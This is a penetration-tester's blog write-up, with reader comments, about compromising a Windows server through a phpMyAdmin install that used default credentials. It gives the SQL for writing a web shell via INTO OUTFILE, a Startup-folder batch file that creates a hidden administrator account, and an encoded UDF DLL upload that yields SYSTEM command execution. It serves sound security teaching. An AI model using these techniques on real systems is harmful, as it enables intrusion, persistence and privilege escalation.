SANS Penetration Testing

Putting the MY in phpMyAdmin

[Editor's note: In this article, Tim Medin walks us through a few steps of a recent pen test he did, wherein he exploits phpMyAdmin. The best part of this write up is that he shows the mindset of a pen tester as he methodically attacks the target system step by step. In the process, he provides some good insight into exploiting PHP flaws via a MySQL instance running on a Windows target as well. Nice! -Ed.]

A wee time ago on a pen test not far, far away, I was looking for that first toehold; the first shell that split the test wide open; my entry into the target; the toe in the door; the camel's nose in the tent; the first part of the whatever that gets into there wherever that it shouldn't be in the first place. I kicked off an nmap sweep using the http-enum script, in hopes of finding an interesting web server with an even more interesting set of directories. Here is my command:

$ nmap -sT -T3 -PS80,443,8000,8443,8800 -p 80,443,8000,8443,8080 -oA http-enum-results --script=http-enum -iL targets.txt

This nmap command does a full connect scan (-sT) at the "normal" speed (default is -T3). Web servers commonly run on port 80, 443, 8000, 8443, and 8080 and those are the ports we will use for host discovery (-PS) and examination (-p). I much prefer the -PS option over the -PN option (skip host discovery), as it gives me better insight as to the hosts that are up, instead of cluttering the output with hosts that don't exist and marking them with "Host is up". I also pass the command a file holding a list of my target servers using the -iL option. The command has been run. It's time to work on something else for a while... Where did I put my banjo?

After a few minutes of other "work", I come back to the terminal and see the command is done. Time to sort through the output...and what to my wondering eyes did appear, but this beautiful output and eight tiny reindeer (actually, no reindeer, but still)!

Nmap scan report for
Host is up (0.00083s latency).
80/tcp closed http
443/tcp closed https
8000/tcp closed http-alt
8080/tcp open http-proxy
| http-enum:
| /phpmyadmin/: phpMyAdmin
| /phpMyAdmin/: phpMyAdmin
|_ /PHPMyAdmin/: phpMyAdmin
8443/tcp closed https-alt

This box is running phpMyAdmin...and lo and behold, when I surfed to its admin interface, I found out that it was using default credentials! Santa had indeed left me a present under the tree.

It turns out the server hosts an admin interface for a particular network-monitoring product. The installer for this product installed phpMyAdmin with easy-to-guess credentials (root/root or something, I forget). None of the admins knew that phpMyAdmin was even on the box. It was yet another example of the pen tester's best friend: the old "accidentally installed because it was bundled with something else" routine. Time to play with this new found toy! It shows them a secret way that nobody else could find. And they say sneak! Sneak? Very nice friend, oh yes My Precious, very nice... <cough> excuse me...

We can use phpMyAdmin to execute arbitrary SQL. I quickly try sqlmap, but it seems that sqlmap wants injection, and not full control of all the SQL, so it gets confused. I could tweak the code, but that is no fun. I like sqlmap, but it's like a little brother. It is great to send off to do something you don't want to do, but when you really need something intense and focused done, you are going to have to do it yourself.

The obvious next step is to upload a web shell using SQL. Remember, when you paste in the shell into SQL you need to escape the single quotes (') with a backslash (\') or the SQL won't be valid. I injected some PHP shell code using the following syntax:

select '[escaped php shell code]' INTO OUTFILE 'c:\inetpub\wwwroot\shell.php';

I prefer the Laudanum php shell as it restricts access by IP and requires authentication. The last thing we want to do during a pen test is to make the client less secure by uploading an unprotected web shell. Always use protection.

Now, the shell is up and we have execution. I anxiously type the next command to find out my privileges. NO! The command "c:\windows\system32\cmd.exe /c whoami" returns the lowly "nt authority\network service" account. Dang! We are stuck in this stinker of an account and the box is patched, so no luck with a privilege escalation bug. There has to be another way. I can write as SYSTEM (via MYSQL), but I can't overwrite (limitation of OUTFILE). Where do we go from here?

Technique 1 - Write to User's Start Up directory

This route is really straightforward. Create a batch file in the C:\Documents and Settings\All Users\Start Menu\Programs\Startup directory that will be executed when any *user* logs in. The command window may pop-up on the screen for a split second but the user will likely not notice it. And, even if the user notices, he or she will likely ignore it anyway, and pwnage will ensue. Here is the command in the file:

net user timmedin reallyl0ngp@ssw0rd! /add /y
net localgroup administrators timmedin /add
ping -n 1 -w 10 [MyIPaddress]

This command creates a user and adds it to the local administrators account. Note that the hidden feature (/y) of the net user command skips the annoying prompt when choosing a password longer than 14 characters. If you don't use this option, "net user" will wait for input. The account won't be created and the user will see what you are doing. Of course, you could use a shorter password, but that's lamesauce. Plus, the client's policy requires all administrative accounts to have passwords longer than 14 characters, and I don't want to be the weak link.

The ping command is added so that I'll get a packet from the target server and I'll know when this login has taken place. The -n 1 option tells ping to send a single ping packet and the -w 10 tells the command to wait for 10 milliseconds before giving up. That should be quick enough for the window to disappear.

After the admin account is created, the box is mine! BUT! There is a LOT of waiting. Who knows when an admin might login? Fortunately for me, I told the client what I was doing and they logged in to simulate the attack.

That's cool, but who wants to wait?

Technique 2 - Make MySQL do my bidding

Microsoft SQL Server has a lovely feature (for attackers) called xp_cmdshell. This stored procedure allows system commands to be executed via SQL. Sadly, there is no such feature in MySQL; however, we can install a UDF (User-Defined Function) to do just this. (Thanks to Nathan Keltner for reminding me of this.) The first step is to find the plugin directory, so we can plug-in, by injecting the following syntax:

select @@plugin_dir
C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin

Now, we have to upload the UDF's dll.

This type of file isn't just text, it is binary. Fortunately, the MySQL "CHAR()" command can be used to generate binary data. For example, the MySQL statement "SELECT CHAR(72,69,76,76,79)" will return "HELLO" (decimal 72 is ASCII H, and so on... you can look it up). Each byte is presented to the CHAR function in its decimal form. Now, for some python fu to turn a file into decimal encoded bytes. (Thanks to Tim Tomes for this one-line pythonic masterpiece.)

$ python -c "print ','.join([str(x) for x in bytearray(open('lib_mysqludf_sys.dll').read())])"


A little copy/paste (or on OS X pipe it into pbcopy) and we have our file via OUTFILE.

SELECT CHAR(77,90,144,0,3,0,0,0,4,0,0,0,255,255,...) INTO OUTFILE
'C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin\lib_mysqludf_sys.dll'

Next, register the dll.

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_get RETURNS STRING SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_set RETURNS STRING SONAME 'lib_mysqludf_sys.dll';

And then...GO TIME!

SELECT sys_eval('dir') FROM dual
nt authority\system


We can do anything from here. We can upload a Meterpreter shell (via the python encoder and OUTFILE) and execute with sys_exec or sys_eval. We can create an administrative user. We can enable terminal services and modify the firewall. So many glorious options! MyPreciousAdmin console is mine...all mine!

The beautiful thing is that this is not the end... shell is only the beginning... Pivot mercilessly*.

-Tim Medin
Counter Hack

*Always staying in scope, and carefully following the rules of engagement.

Like this kinda stuff? Please join me for a deep dive into hands-on penetration techniques in SANS SEC560: Network Penetration Testing and Ethical Hacking at SANS Boston 2013! Boston, MA | Mon Aug 5 - Sat Aug 10, 2013

(BTW, anyone have a lead on any Sox tickets for Sunday?)


Posted April 11, 2013 at 10:49 AM | Permalink | Reply


Could you please be more specific on step "We can use phpMyAdmin to execute arbitrary SQL." ? How did you exactly achieved this step ? Is it a standard feature of phpMyAdmin or you know for some SQL injection bug in phpMyAdmin version you used in that engagement ?

Posted April 11, 2013 at 3:19 PM | Permalink | Reply

Tim Medin

phpMyAdmin is a free tool written in PHP designed for administration of MySQL. It includes the ability to run arbitrary SQL.

Posted April 11, 2013 at 3:23 PM | Permalink | Reply

Ed Skoudis

Hey ed (nice name, by the way), check this out:
Specifically this in the list of features: "execute, edit and bookmark any SQL-statement, even batch-queries".

Posted April 11, 2013 at 3:23 PM | Permalink | Reply

Jim Halfpenny

phpMyAdmin has a tool for running arbitrary SQL on the database. No special web fu required.

Posted April 12, 2013 at 10:03 AM | Permalink | Reply

Robin Wood

Didn't know about the UDF stuff, very nice.

Posted June 14, 2013 at 11:11 PM | Permalink | Reply

Rocky Sharma

Nice! This UDF part was awesome

Posted September 15, 2016 at 4:46 AM | Permalink | Reply


How can i upload shell if can not to out file from shell .thank for reply

Posted April 7, 2019 at 10:41 AM | Permalink | Reply

Mukesh Sai Kumar

Nice write-up, and I'm a bit late. But I noticed that the last command you executed as sys_eval(''dir') and the output was ''nt authority\\system'. The command should have been sys_eval(''whoami')

Post a Comment


* Indicates a required field.